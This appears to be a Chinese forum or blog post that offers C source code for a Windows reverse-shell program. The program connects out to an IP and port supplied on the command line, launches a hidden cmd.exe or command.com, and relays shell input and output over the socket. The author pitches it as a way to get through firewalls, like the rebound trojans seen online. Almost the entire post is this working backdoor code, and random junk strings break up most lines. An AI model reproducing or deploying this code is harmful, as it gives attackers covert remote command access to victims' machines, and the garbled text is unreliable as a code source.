Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Zn1+} Z@I  
#w*1 !  
/* ============================== \o?zL7  
Rebound port in Windows NT Sh=E.!  
By wind,2006/7 Um)0jT  
===============================*/ &1%W-&bc6  
#include Z{EHV7  
#include O}MY:6Pe  
@z#;O2  
#pragma comment(lib,"wsock32.lib") v{i'o4  
/v:g' #n  
void OutputShell(); z) yUBcq  
SOCKET sClient; p \; * :  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k.rP}76  
yX,2`&c  
void main(int argc,char **argv) RU,f|hB4  
{  LS,/EGJ  
WSADATA stWsaData; 2*vOo^f  
int nRet; }e6Ta_Z~  
SOCKADDR_IN stSaiClient,stSaiServer; ME[Wg\  
>T%Jlj3ZG  
if(argc != 3) lJ3/^Htn  
{ ;o,t*  
printf("Useage:\n\rRebound DestIP DestPort\n"); d;|e7$F'  
return; (?J6vK}S  
} j2cLb  
/,"Z^=  
WSAStartup(MAKEWORD(2,2),&stWsaData); TYw0#ZXo  
O_nk8  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5@tpJ8E8$  
! W$u~z  
stSaiClient.sin_family = AF_INET; #^gn,^QQ  
stSaiClient.sin_port = htons(0); 95_?F7}9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *qAF
#  
?g}n$%*5y!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  @zEEX9U  
{ %/,PY>:|  
printf("Bind Socket Failed!\n"); g:q+.6va"  
return; GIWgfE?  
} Tg&{P{$  
/_rQ>PgSZW  
stSaiServer.sin_family = AF_INET; ]}<.Y[!S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n4 KiC!*i0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /SY40;k:  
)?%FU?2jrn  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oIt.Pc~;'#  
{ 9;&2LT7z  
printf("Connect Error!"); %/oOM\}++  
return; ":"QsS#*"#  
} @\i6m]\X  
OutputShell(); Lbq"( b  
} mbsdiab#N  
Sr)/ Mf  
void OutputShell() v>c[wg9P  
{ CJJ 1aM  
char szBuff[1024]; '# "Z$  
SECURITY_ATTRIBUTES stSecurityAttributes; )*G3q/l1u6  
OSVERSIONINFO stOsversionInfo; fg8V6FS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +#6WORH0S  
STARTUPINFO stStartupInfo; H#E   
char *szShell; [p$b@og/>  
PROCESS_INFORMATION stProcessInformation; 5dMIv<#T`  
unsigned long lBytesRead; 'P)xY-15  
o2W pi  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [{Fr{La`D'  
s.6S:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (u]ft]z,-B  
stSecurityAttributes.lpSecurityDescriptor = 0; V{HZ/p_Y  
stSecurityAttributes.bInheritHandle = TRUE; ~1S7\e7{  
>RHK6c  
vPi\ vU{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E,xCfS)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UIL5K 
 
E;$t|~#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b]g}h
 
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $P^=QN5Bb  
stStartupInfo.wShowWindow = SW_HIDE; MCurKT<pQ  
stStartupInfo.hStdInput = hReadPipe; .#zx[Io  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'an{<82i  
9=rYzA?)+  
GetVersionEx(&stOsversionInfo); Z
B`!@/3X  
Xvi{A]V  
switch(stOsversionInfo.dwPlatformId) 3 V8SKBS  
{ D@[$?^H  
case 1: >7vSN<w~m  
szShell = "command.com"; 9`{Mq9J  
break; =WyAOgy}  
default: To}L%
)  
szShell = "cmd.exe"; VEpIAC4  
break; a+A/
l  
} bkmX@+Pe  
;y=w :r\A  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /iy2j8:z  
5c{=/}Y  
send(sClient,szMsg,77,0); GY@Np^>[a  
while(1) 6jCg7Su]  
{ JR 2v}b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V *S|Qy!p  
if(lBytesRead) g\rujxHlH  
{ b2U[W#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TCmWn$LeE  
send(sClient,szBuff,lBytesRead,0); dam.D.o"  
} 3i>$g3G  
else FE M_7M  
{ BAX])~_  
lBytesRead=recv(sClient,szBuff,1024,0); YX^{lD1Jj  
if(lBytesRead<=0) break; _[0Ugfz(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \Q^\z   
} 5mER&SX  
} ;wW6x  
<Y~V!9(~{Q  
return; Q>TaaGc  
}